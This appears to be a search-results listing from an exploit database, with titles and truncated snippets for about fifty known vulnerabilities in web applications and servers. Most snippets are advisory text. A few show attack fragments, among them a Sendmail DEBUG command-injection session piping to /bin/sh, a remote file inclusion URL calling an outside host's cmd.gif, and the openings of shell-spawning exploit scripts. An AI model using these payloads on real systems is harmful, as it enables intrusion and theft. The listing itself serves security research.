56796 matches found
CoronaMatrix phpAddressBook 2.0 - 'username' Cross Site Scripting Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/29005/info phpAddressBook is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. An attacker may leverage this issue to execute arbitrary script code in the browser of ...
NPDS 4.8 /5.0 reply.php image_subject Parameter XSS
No description provided by source. source: http://www.securityfocus.com/bid/13803/info NPDS is affected by multiple vulnerabilities resulting from input validation errors. These issues may allow remote attackers to carry out HTML injection, cross-site scripting and SQL injection attacks. This may...
EPay Pro 2.0 Index.PHP Directory Traversal Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/14871/info EPay Pro is prone to a directory traversal vulnerability. This is due to a lack of proper validation of user-supplied input. An unauthorized user can retrieve arbitrary files by supplying directory traversal...
PHPClassifieds.Info Multiple Input Validation Vulnerabilities
No description provided by source. source: http://www.securityfocus.com/bid/18713/info The 'phpclassifieds.info' product is prone to multiple input-validation vulnerabilities. The issues include HTML- and SQL-injection vulnerabilities. These issues are due to a failure in the application to...
W-Agora 4.0 - delete_notes.php bn_dir_default Parameter Remote File Inclusion
No description provided by source. source: http://www.securityfocus.com/bid/28366/info w-Agora is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data. Exploiting these issues may allow an attacker to compromise the application and the...
PHPX 3.5.15/3.5.16 gallery.php Multiple Parameter SQL Injection
No description provided by source. source: http://www.securityfocus.com/bid/23033/info PHPX is prone to multiple input-validation vulnerabilities because the application fails to properly sanitize user-supplied input. Exploiting these issues could allow an attacker to steal cookie-based...
PolyPager 0.9.51/1.0 'nr' Parameter Cross Site Scripting Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/29975/info PolyPager is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data. An attacker may leverage this issue to execute arbitrary script code in the browser of an...
Power BB 1.8.3 - Remote File Includes
No description provided by source. Dada?lar Grup Komutanl??? | HackSpy | Zombie | KroNickq | DigitALL | NoFearx38 | 1923Turk Grup by DigitALL Sites : http://powerwd.net Download : http://www.phpexplorer.com/Goster/536 Download : http://sourceforge.net/projects/pbb/ Power BB 1.8.3 Remote File...
Audistats 1.3 - SQL Injection vulnerability
No description provided by source. Audistats SQL injection vulnerability - mday Author : kaMtiEz [email protected] Homepage : http://www.indonesiancoder.com Date : January 29, 2010 Software Information + Vendor : http://adubus.free.fr/audistat/ + Download : http://adubus.free.fr/audistat/ +...
Ezhometech EzServer 7.0 - Remote Heap Corruption Vulnerability
No description provided by source. Title: Ezhometech EzServer 7.0 Remote Heap Corruption Vulnerability Description: EzServer is a software for audio and video streaming adopted by various companies worldwide. Version 7.0 is affected by a remote heap corruption vulnerability. Version 6.x is not...
MIT PGP Public Key Server 0.9.2/0.9.4 Search String Remote Buffer Overflow
No description provided by source. source: http://www.securityfocus.com/bid/4828/info The PGP Public Key Server is a freely available, open source software package distributed by MIT. It is designed for use on Linux and Unix operating systems. The PGP Public Key Server does not properly handle lo...
trixbox (langChoice) - Local File Inclusion Exploit (connect-back) (2)
No description provided by source. !/usr/bin/perl -w Jean-Michel BESNARD [email protected] / LEXSI Audit 2008-07-09 This is an update of the previous exploit. We can now get a root shell, thanks to sudo. perl trixboxfiv2.pl 192.168.1.212 Please listen carefully as our menu option has changed...
Sympa 4.x New List HTML Injection Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/10992/info An HTML injection vulnerability is reported in Sympa. The problem occurs due to a failure of the application to properly sanitize user-supplied input data. Unsuspecting users viewing the affected page will have...
Berkeley Sendmail 5.58 DEBUG Vulnerability
No description provided by source. 220 mail.victim.com SMTP helo attacker.com 250 Hello attacker.com, pleased to meet you. debug 200 OK mail from: /dev/null 250 OK rcpt to:|sed -e '1,/^$/'d | /bin/sh ; exit 0 250 OK data 354 Start mail input; end with CRLF.CRLF mail [email protected] /etc/passwd...
Pragyan CMS 2.6.1 - Arbitrary File Upload Vulnerability
========================================== Exploit Title: pragyan 2.6.1 Upload File Author: Dr.KroOoZ Software : http://ignum.dl.sourceforge.net/project/pragyan/pragyan/2.6.1/pragyan-2.6.1.tar.gz Tested on: || Linux || Windows || Dork : ========================================== === Exploit ===...
CMS snews SQL Injection Vulnerability
No description provided by source...
Outlook ATTACH_BY_REF_RESOLVE File Execution
No description provided by source. $Id: ms10045outlookrefresolve.rb 10389 2010-09-20 04:38:13Z jduck $ This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit Framework web site for more information on licensing and...
Apache Tomcat 3.2.1 - 404 Error Page Cross Site Scripting Vulnerability
No description provided by source. Apache Tomcat is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected...
Achievo 1.4.3 - Multiple Authorization Flaws
No description provided by source...
ProFTP 2.9 Banner Remote Buffer Overflow Exploit
No description provided by source. $Id: proftpbanner.rb 9669 2010-07-03 03:13:45Z jduck $ This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit Framework web site for more information on licensing and terms of use...
McAfee Email Gateway - Web Administration Broken Access Control
No description provided by source...
Mozilla Firefox 3.0 - Malformed JPEG File Denial of Service Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/29984/info Mozilla Firefox is prone to a remote denial-of-service vulnerability. Successful exploits can allow attackers to crash the affected browser, resulting in denial-of-service conditions. This issue affects Firefox...
Xsok 1.02 - "-xsokdir" Local Buffer Overflow Game Exploit
No description provided by source. / 0x333xsok 2 = xsok 1.02 local game exploit Happy new year ! 2 : coded by c0wboy c 0x333 Outsiders Security Labs / www.0x333.org / include stdio.h include unistd.h define BIN /usr/games/xsok define RETADD 0xbffffa3c define SIZE 200 unsigned char shellcode = /...
MySQL 4.x CREATE TEMPORARY TABLE Symlink Privilege Escalation
No description provided by source. source: http://www.securityfocus.com/bid/12781/info MySQL is reported prone to multiple vulnerabilities that can be exploited by a remote authenticated attacker. The following individual issues are reported: - Insecure temporary file-creation vulnerability...
Insanely Simple Blog 0.4/0.5 Blog Anonymous Blog Entry XSS
No description provided by source. source: http://www.securityfocus.com/bid/24934/info Insanely Simple Blog is prone to multiple input-validation vulnerabilities, including cross-site scripting, HTML-injection, and SQL-injection issues, because the application fails to properly sanitize...
Adobe Device Central CS5 DLL Hijacking Exploit (qtcf.dll)
No description provided by source. / Exploit Title: Adobe Device Central CS5 DLL Hijacking Exploit qtcf.dll Date: August 24, 2010 Author: Glafkos Charalambous glafkos@astalavistadotcom Version: Latest CS5 v3.0.0376 Tested on: Windows 7 x64 Ultimate Vulnerable extensions: .adcp Greetz: Astalavista...
Microsoft Windows 95/98/2000/NT4 WinHlp Item Buffer Overflow Vulnerability
... HTML帮助ActiveX控件Hhctrl.ocx由Microsoft HTML Help附带，设计用于与Internet Explorer一起提供帮助功能。 ... HTML帮助ActiveX控件存在漏洞，可导致远程攻击者进行拒绝服务攻击。 ... HTML帮助ActiveX控件存在基于栈和堆的缓冲区溢出，攻击者可以构建包含恶意数据的Web页面，当用户浏览此链接时，可导致拒绝服务攻击，精心构建提交数据可导致以SYSTEM的权限在客户端系统上执行任意命令。...
The Rat CMS viewarticle.php id Parameter SQL Injection
No description provided by source. source: http://www.securityfocus.com/bid/29959/info The Rat CMS is prone to multiple input-validation vulnerabilities, including SQL-injection issues and cross-site scripting issues, because it fails to sufficiently sanitize user-supplied data. Exploiting these...
SimpGB 1.0 Guestbook.PHP SQL Injection Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/12801/info SimpGB is reportedly affected by an SQL injection vulnerability. This issue is due to the application failing to properly sanitize user-supplied input passed to the 'guestbook.php' script before using it in a S...
Palo Alto Network Vulnerability - Cross-Site Scripting (XSS)
No description provided by source. Palo Alto Network Vulnerability - Cross-Site Scripting XSS ------------------------------ Class: Cross-Site Scripting XSS Vulnerability CVE: CVE-2010-0475 Remote: Yes Local: Yes Published: May 11, 2010 08:30AM Timeline:Submission to MITRE: 1/18/2010 Vendor...
MS Windows 2000/NT 4/XP Network Share Provider SMB Request Buffer Overflow (2)
No description provided by source. source: http://www.securityfocus.com/bid/5556/info Microsoft Windows operating systems use the Server Message Block SMB protocol to support services such as file and printer sharing. A buffer overflow vulnerability has been reporting in the handling of some...
NPDS 4.8 /5.0 links.php Query Parameter SQL Injection
No description provided by source. source: http://www.securityfocus.com/bid/13803/info NPDS is affected by multiple vulnerabilities resulting from input validation errors. These issues may allow remote attackers to carry out HTML injection, cross-site scripting and SQL injection attacks. This may...
EQdkp <= 1.3.0 (dbal.php) Remote File Inclusion Vulnerability
No description provided by source. Title: EQdkp = 1.3.0 Remote File Inclusion URL: http://www.eqdkp.com/ Dork: powered by EQdkp Author: OLiBekaS greetz: Skulmatic, weleh, brockencode, and all papmahackerlink crew Exploit: /includes/dbal.php?eqdkprootpath=http://yourhost/cmd.gif?cmd=ls milw0rm.com...
MailMachine Pro 2.2.4 - Remote SQL Injection Vulnerability
No description provided by source. --------------------------------------------------------------- / | |\ \ / | / |/ | | |/ \ | | / \ \ | \ \ | | | \ | |/ \ | | // | || | ||| /| / /\ | |||| /| / / --------------------------------------------------------------- Http://www.inj3ct-it.org...
AldWeb MiniPortail 1.9/2.x LNG Parameter Cross-Site Scripting Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/8504/info cross-site scripting vulnerability has been reported for miniPortail. The vulnerability exists due to insufficient sanitization of some user-supplied values. Specifically, malicious HTML code is not sanitized fr...
PunBB 1.2.3 - Multiple HTML Injection Vulnerabilities
No description provided by source. source: http://www.securityfocus.com/bid/12828/info PunBB is reportedly affected by multiple HTML injection vulnerabilities. An attacker could also exploit this issue to control how the site is rendered to the user; other attacks are also possible such as the...
gpsdrive <= 2.09 (friendsd2) Remote Format String Exploit (ppc)
No description provided by source. !/usr/bin/perl -w Heh - Code by KF kflistsatdigitalmunitiondotcom - Shellcode by Charles Stevenson http://www.digitalmunition.com FrSIRT 24/24 & 7/7 - Centre de Recherche on Donkey Testicles. Free 14 day Testicle licking trial available! IIIIIIIIII I::::::::I...
Uiga Personal Portal Multiple Vulnerabilities
No description provided by source. Exploit Title: Uiga Personal Portal Multiple Vulnerability Date: 2011 Author: Eyup CELIK Version: All Version Tested on: All versions are Vulnerability Web Site: www.eyupcelik.com.tr ISSUE Blind SQL Injection and XSS can be done using the command input Vulnerabl...
eXtremail 1.x/2.1 - Remote Format String Vulnerability (2)
No description provided by source. source: http://www.securityfocus.com/bid/2908/info eXtremail is a freeware SMTP server available for Linux and AIX. eXtremail contains a format-string vulnerability in its logging mechanism. Attackers can send SMTP commands argumented with maliciously constructe...
Matt Wright Guestbook 2.3.1 Guestbook.PL Multiple HTML Injection Vulnerabilities
No description provided by source. source: http://www.securityfocus.com/bid/17438/info Guestbook is prone to multiple HTML-injection vulnerabilities; the application fails to properly sanitize user-supplied input before using it in dynamically generated content. Attacker-supplied HTML and script...
eXtremail 1.x/2.1 - Remote Format String Vulnerability (3)
No description provided by source. source: http://www.securityfocus.com/bid/2908/info eXtremail is a freeware SMTP server available for Linux and AIX. eXtremail contains a format-string vulnerability in its logging mechanism. Attackers can send SMTP commands argumented with maliciously constructe...
Moodle <= 1.5.2 (moodledata) Remote Session Disclosure Vulnerability
No description provided by source. --/ INTRODUCTION -- / Advisory : MOODLE = 1.5.2 user password read out Release Date : 17. March 2007 Application : Moodle.org is a course management system CMS : to help educators create effective online learning communities. Impact : read out user account...
Oracle VM VirtualBox 4.1 - Local Denial of Service Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/55471/info Oracle VM VirtualBox is prone to a local denial-of-service vulnerability. Attackers can exploit this issue to cause denial-of-service conditions. / This software is provided by the copyright owner as is and any...
fims File Management System <= 1.2.1a Multiple Vulnerabilities
No description provided by source. Exploit Title: fims - File Management System = 1.2.1a SQL Injection and Vulnerability Date: 2011-10-19 Author: Skraps jackie.craig.sparksatlive.com jackie.craig.sparksatgmail.com @skrapsfoo Software Link: http://fims.codeplex.com/ Version: 1.2.1a tested...
Webspell 4.2.1 asearch.php SQL Injection Vulnerability
No description provided by source. INFORMATION +Name : webspell 4.2.1 asearch.php SQL Injection Vulnerability +Author : silent vapor +Date : 29.09.2010 +Script : webspell 4.2.1 +Price : free +Language :PHP +Discovered by silent vapor +Underground Agents +Greetz to Team-Internet,...
Contrexx 1.0.4 - Multiple Input Validation Vulnerabilities
No description provided by source. source: http://www.securityfocus.com/bid/14352/info Contrexx is affected by multiple input validation vulnerabilities. These issues can allow an attacker to carry out HTML injection, SQL injection and information disclosure attacks. Contrexx versions prior to...
iDevSpot iSupport 1.8 'index.php' Local File Include Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/26961/info iSupport is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input. Exploiting this issue may allow an unauthorized user to view files and execute local scripts...
SAPID Shop <= 1.2 (root_path) Remote File Include Vulnerability
No description provided by source. !/usr/bin/env python coding: utf-8 from pocsuite.net import req from pocsuite.poc import POCBase, Output from pocsuite.utils import register class TestPOCPOCBase: vulID = '63795' ssvid version = '1.0' author = '皮皮' vulDate = '2006-08-09' createDate = '2015-12-24...
phpRaid < 3.0.7 (rss.php phpraid_dir) Remote File Inclusion Exploit
No description provided by source. !/usr/bin/perl phpraid = 3.x.x rss.php Remote File Inclusion Exploit Download Script : http://up.9q9q.net/up/index.php?f=994a86950 Founded & Coded by: Cold z3ro , [email protected] Dork : inurl:phpRaid , phpRaid , roster.php?Sort=Race perl cold-z3ro.pl targe...
Microsoft Windows URI Handler Command Execution Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/25945/info Microsoft Windows XP and Server 2003 with Internet Explorer 7 is prone to a command-execution vulnerability because it fails to properly sanitize input. Successfully exploiting this issue allows remote attacker...